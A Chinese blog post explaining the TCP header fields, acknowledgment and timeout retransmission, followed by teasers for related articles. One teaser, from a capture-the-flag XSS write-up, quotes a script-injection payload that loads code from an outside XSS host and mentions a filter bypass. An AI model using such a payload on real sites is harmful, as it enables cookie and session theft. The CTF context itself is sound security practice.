【网络】TCP协议详解

news2024/9/24 5:32:12

目录

TCP协议格式

感性理解TCP报头

认识报头中的字段

序号和确认序号

4位首部长度

窗口大小

标记位

确认应答机制

超时重传机制


TCP协议格式

感性理解TCP报头

linux内核是用C语言写的,所以报头实际上就是一种结构化的数据对象,用伪代码可表示为如下结构:

认识报头中的字段

序号和确认序号

序号:表示本报文段所发送数据的第一个字节的编号。

确认序号:表示接收方期望收到发送方下一个报文段的第一个字节数据的编号。

4位首部长度

4个比特位能够表示的十进制数据范围是【0,15】,TCP报头的总长度=4位首部长度*4字节,也就是说报头的总长度范围是【0,60】,但是报头中还包含固定大小的20字节。综上所述,报头的最终范围是【20,60】。

窗口大小

在发送数据的过程中,发送数据的速度太快不合适,发送的太慢也不行。窗口大小的作用就是反馈接收缓冲区剩余空间的大小。发送方根据这一反馈就能合适的进行数据发送。

TCP报文是要给对方发送的,对于客户端和服务端都是适用的,在通信的过程中交换对方的接收能力。

标记位

TCP报文是有类型的,根据不同的类型完成不同的动作。

SYN:同步标志位(握手请求)。

FIN:断开连接标记位。

ACK:确认号是否有效。

PSH:催促接收方,让上层尽快取走数据更新缓冲区。

URG:需要被尽快读取的数据,标记紧急指针是否有效。

RST:复位标记位,对方要求重新建立连接。

确认应答机制

TCP可靠性

在网络传输的过程中,存在不可靠的问题,本质原因是传输距离变长了。举个简单的例子,如果小明问同桌小红下课要不要去操场跑步,即使小红只是点了点头,小明也可以确认小红收到了我说的话。同理,如果我们相隔100米之外喊话,能不能听到,能不能把信息完整的听取到都是不可靠的。 在网络传输中,常见的不可靠场景有丢包、乱序、校验错误、重复等。

TCP的可靠性怎样保证:确认应答+超时重传。

●一个报文如果收到了应答,就能说明它的可靠性

小明:你吃了吗?

小刚:吃了

我们认为,只要收到了应答,历史消息就能确认被收到。也就是说,确认了应答才算可靠。

小明:一会去打球吗

小刚:未应答

在双方通信的过程中,一定会存在最新的消息没有被应答。最新的消息一般无法保证可靠性。

●数据发送的顺序和数据到达的顺序不一定是匹配的。

针对发送的请求进行编号,应答的时候也针对编号进行应答,这样就能保证数据传输没有歧义。

 TCP 是面向字节流的,TCP将每个字节的数据都进行了编号,即为序列号。

每一个ACK都带有对应的确认序列号,确认序列号意在告诉发送者,已经收到了哪些数据,下次发送该从哪里开始。

为什么要有两组序号?

答:TCP客户端和服务端双方的地位是对等的,是全双工的。既能接收数据也能发送数据。

超时重传机制

针对数据在网络传输中丢包的情况,TCP的处理方式是进行重传。

情况1:请求丢了。重传

主机A发送数据给B之后, 可能因为网络拥堵等原因, 数据无法到达主机B;如果主机A在一个特定时间间隔内没有收到B发来的确认应答, 就会进行重发
 

 情况2:应答丢了。重传

主机A发送数据给B之后, 没有收到B发来的确认应答也可能是应答丢了,在一段时间间隔后就会进行重发。

这里需要注意的是,如果主机B收到很多重复的数据,TCP根据序列号能够识别出重复的包,很容易就能做到去重。

对于超时时间而言,设置为固定长短是不合理的。举个例子来说,如果在一个网络环境很快的情况下,数据已经丢了,过了很久才进行重传,效率就大大降低。反之,在一个网络环境较差的情况下,如果超时重传的时间设置的较短,数据还没到,就再次发送了。上述情况很明显是不合理的。

最理想的情况下, 找到一个最小的时间, 保证 "确认应答一定能在这个时间内返回"。但是这个时间的长短, 随着网络环境的不同, 是有差异的。
a.如果超时时间设的太长, 会影响整体的重传效率;
b.如果超时时间设的太短, 有可能会频繁发送重复的包;

所以超时重传的时间间隔是浮动的。TCP为了保证无论在任何环境下都能有较高性能的通信,会动态计算这个最大超时时间。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/732200.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

23种设计模式总结

设计模式的本质是:“找到变化,封装变化” 设计模式的类型分为: 创建型:负责提供创建对象的机制 结构型:将对象或类组合成更大的结构,同时保持对外结构的不变,对内结构的灵活 行为型&#xff1a…

CTFHub XSS 过滤关键词 WriteUp

前文链接&#xff1a;DOM反射xss 这次直接浏览器输入payload&#xff0c;发现 script 被过滤掉了 </textarea>"><script srchttp://xsscom.com//cZ2vvZ></script>碰到这种情况不要慌&#xff0c;下面给出两种方法绕过过滤关键字。 双写绕过 <…

安装需要的第三方库时,命令行输入pip提示不是内部或外部命令

简介 在做Python开发时&#xff0c;安装需要的第三方库时&#xff0c;大多数人喜欢选择在命令行用pip进行安装。 然而有时敲入pip命令会提示‘pip’不是内部或外部命令。。如图&#xff1a; 解决办法 1、在python安装目录中找得到script文件夹&#xff0c;查看文件夹内部是否…

解锁开发成果的商业价值,云商店如何与开发者共赢未来?

从PC互联网时代到移动互联网时代&#xff0c;用户获取各种应用的方式越来越便捷&#xff0c;只需要动动手指就可以获得自己想要的各种应用&#xff1b;同样&#xff0c;任何一个开发者有好的创意&#xff0c;都可以开发出受欢迎的应用&#xff0c;并获得不菲的商业回报。 尽管…

1.Git使用技巧-基础原理

Git 使用技巧 文章目录 Git 使用技巧前言一、Git 安装二、搭建服务端仓库三、搭建客户端1. git 通信2. git支持的通信协议本地拉取代码3. 配置用户名和密码查看配置 查看git 帮助Git 工作流程总结参考 前言 Git 是一个开源的分布式代码版本控制系统&#xff0c;用于敏捷高效地…

sql分页查询

文章目录 前言一、mysql分页1. limit 102. limit 10,20 二、oracle分页1. ROWNUM2. OFFSET和FETCH 三、PostgreSQL1.LIMIT 42.LIMIT 3 OFFSET 2 总结 前言 分页查询作为数据库必不可少的功能&#xff0c;每家数据库厂商都有各自的标准&#xff0c;下面仅记录目前主流数据库。 …

E2. Rudolf and Snowflakes (hard version) codeforces1846E2

Problem - E2 - Codeforces 题目大意&#xff1a;在无向图中&#xff0c;初始有一个点&#xff0c;然后将k个点连接到1号点上&#xff0c;之后每次操作分别将k歌点连接到之前新加的点上&#xff0c;这样的操作至少有1次&#xff0c;t次询问&#xff0c;每次询问给出一个数n&am…

ubuntu系统自带的Text Editor编辑器不高亮解决办法

平时在写launch文件时&#xff0c;我喜欢用ubuntu系统自带的text编辑器&#xff0c;但发现使用text打开launch 文件时&#xff0c;没有高亮功能了&#xff0c;如下图所示&#xff1a; 解决办法非常简单&#xff0c;因为launch和xml文件语法规则类似&#xff0c;只需将text编辑…

Kotlin~Composite组合模式

概念 能够帮助实现树状结构的模式。 主要特点 递归组合树状结构统一处理所有对象 角色介绍 Component: 组合接口Leaf: 叶子节点&#xff0c;无子节点Composite&#xff1a;枝节点&#xff0c;用来存储子部件 UML 代码实现 interface Organ {fun personCount():Int } cla…

使用 Rust 实现连接远程 Linux 服务器、发送文件、执行命令

使用 Rust 实现连接远程 Linux 服务器、发送文件、执行命令 文章目录 使用 Rust 实现连接远程 Linux 服务器、发送文件、执行命令一、Rust 概述使用场景优点缺点 二、功能实现1、代码2、运行日志3、服务器文件 一、Rust 概述 Rust 已经听了无数遍&#xff0c;我很清楚它很强&am…

windows11终端窗口更换颜色布局

1.首先我们在windows商店下载powershell 2.访问ohmyposh下载字体https://ohmyposh.dev/docs/installation/fonts https://ohmyposh.dev/docs/installation/fonts 下载完成后解压-选择全部右键-显示更多选项-为所有用户进行安装 3.安装完成后打开power shell&#xff0c;选择设置…

批量生成工资条和恢复成工资表

一、问题的提出 人事、财务经常会用到工资条&#xff0c;如果手工添加比较麻烦&#xff0c;而且容易出错&#xff0c;我们可以通过录制宏&#xff0c;或者插入VBA代码的方法来解决。有了VBA后&#xff0c;我们可以定义按钮&#xff0c;绑定VBA代码&#xff0c;实现一键生成工资…

站在递归的角度上去“观赏”链式二叉树

&#x1f349;博客主页:阿博历练记 &#x1f4d6;文章专栏:数据结构与算法 &#x1f68d;代码仓库:阿博编程日记 &#x1f361;欢迎关注:欢迎友友们点赞收藏关注哦&#x1f339; 文章目录 &#x1f384;链式二叉树&#x1f50d;1.二叉树的框架&#x1f50d;2.二叉树的创建&…

浅谈RPC协议

RPC协议 RPC简介为啥需要RPCRPC的调用过程gRPCProtoBuffergRPC实战 RPC简介 RPC&#xff08;Remote Procedure Call Protocol&#xff09;远程过程调用协议&#xff0c;目标就是让远程服务调用更加简单、透明。RPC 框架负责屏蔽底层的传输方式&#xff08;TCP 或者 UDP&#x…

【数据结构】从树到二叉树

目录 ​编辑 一. 前言 二. 树的概念及结构----凉拌海带 2.1 什么是树 2.2 树的基本术语 2.3 树的表示 2.4 树在实际生活中的应用 二. 二叉树的概念及结构----扬州炒饭 2.1 什么是二叉树 2.2 二叉树两种特殊形式 2.3 二叉树的性质 2.4 二叉树的存储结构 三. 链式二叉树基本操…

MySQL之DQL万字解析(涵盖所有查询!!!)

今日金句 生活中有80%的痛苦是来自上班&#xff0c; 但如果不上班&#xff0c;就会有100%的痛苦来自没钱 文章目录 前言一、基础查询1.1 语法1.2 实例 二、条件查询2.1 语法2.2 条件查询实例2.3 模糊查询实例 三 、排序查询3.1 语法3.2 实例 四 、聚合函数4.1 概念4.2 聚合函…

css:鼠标经过el-dropdown 组件上会出现一个蓝色的小框

问题描述 效果如下&#xff0c;原以为是浏览器的bug&#xff0c;升级后就好了&#xff0c;没想到一直有这个问题 页面刷新后&#xff0c;鼠标经过el-dropdown 组件上会出现一个蓝色的小框 原因 浏览器默认有一个样式&#xff0c;加了一个边框 :focus-visible {outline: -we…

应用层:客户-服务器方式(C/S)、对等方式(P2P)

1.应用层&#xff1a;客户-服务器方式和对等方式 笔记来源&#xff1a; 湖科大教书匠&#xff1a;客户-服务器方式和对等方式 声明&#xff1a;该学习笔记来自湖科大教书匠&#xff0c;笔记仅做学习参考 开发一种新的网络应用首先要考虑的问题就是网络应用程序在各种端系统上的…

git no matching host key type found. Their offer: ssh-rsa

本地生成ssh&#xff0c;并配置了服务器SSH Public Keys 问题 拉去远程代码报错 git no matching host key type found. Their offer: ssh-rsa (base) tangsiqitangsiqideMacBook-Pro VDI % git clone "ssh://tangsiqireview.archeros.cn:29418/ArcherDT/vdi-server&…

通用登录模块(解决多端开发登录策略不同的问题)

文章目录 1、目前登录接口2、问题分析3、解决方案4、使用场景 现在有一个场景&#xff0c;就是需要做登录&#xff0c;但是我们不确定现在移动端的同学做几端&#xff0c;可能会有 手机号登录、账号密码登录、qq登录、微信登录、PC端登录、网页端登录。这些登录的具体实现肯定…